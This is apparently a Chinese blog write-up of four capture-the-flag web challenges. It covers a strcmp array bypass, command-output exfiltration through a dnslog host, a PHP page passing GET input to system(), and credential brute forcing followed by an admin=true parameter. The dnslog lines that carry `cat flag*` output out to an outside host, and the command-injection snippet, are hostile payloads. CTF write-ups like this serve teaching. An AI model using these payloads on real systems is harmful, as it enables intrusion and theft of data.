Eeezzy

题目上来直接给源码:

Eeezzy

利用了strcmp函数无法比较数组等其他类型的参数,因此传入数组会使函数出错退出返回NULL。当时同时构造username和password以数组形式传入仅仅只会报错,后来看别人wp发现需要只构造password以数组形式传入才能拿到wp?(一个坑点,本地环境测试两个都构造为数组形式也能拿到flag,后续有研究再补充)

aLive

alive题面

题面顾名思义,使用dnslog工具平台将命令外带,类似于requestbin

dnslog

如此,可通过如下构造将命令执行的结果进行外带:

1
`whoami`.ks8zy9.dnslog.cn

dnslog测试

1
`cat flag*`.ks8zy9.dnslog.cn

拿到flag。

payload

用dirsearch扫目录,能扫出robots.txt和一个奇怪的GET传参cmd的子目录(之后发现就是要传参cmd),robots.txt内容:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['cmd'])){
system($_GET['cmd']);
}
else {
if(isset($_GET['btn'])){
echo "<b>System Details: </b>";
system("uname -a");
}
}
?>

之后测了很多,以为是ssrf之类的,fuzz发现屏蔽了一些系统函数,写webshell也会被自动清空。。。结果flag直接藏在环境变量里,使用命令env查看系统环境变量即可。

cmd=env

spooky

题目上来是个登录界面,使用dirsearch扫一遍目录,发现有一个sitemap.xml文件,文件包含两个文件的路径:

  • /creds/users.txt
  • /creds/pass.txt

两个文件分别是一些用户名和密码,对应关系未知,使用burp的intruder模块的cluster bomb模式构造用户名和密码的笛卡尔积并爆破

爆破发现shrekop用户能登陆成功,但权限等级为user,POST传入admin=true即可拿到flag

写在最后

赛后看题解真的不难。。。怎么比赛时候就短路?做题还是少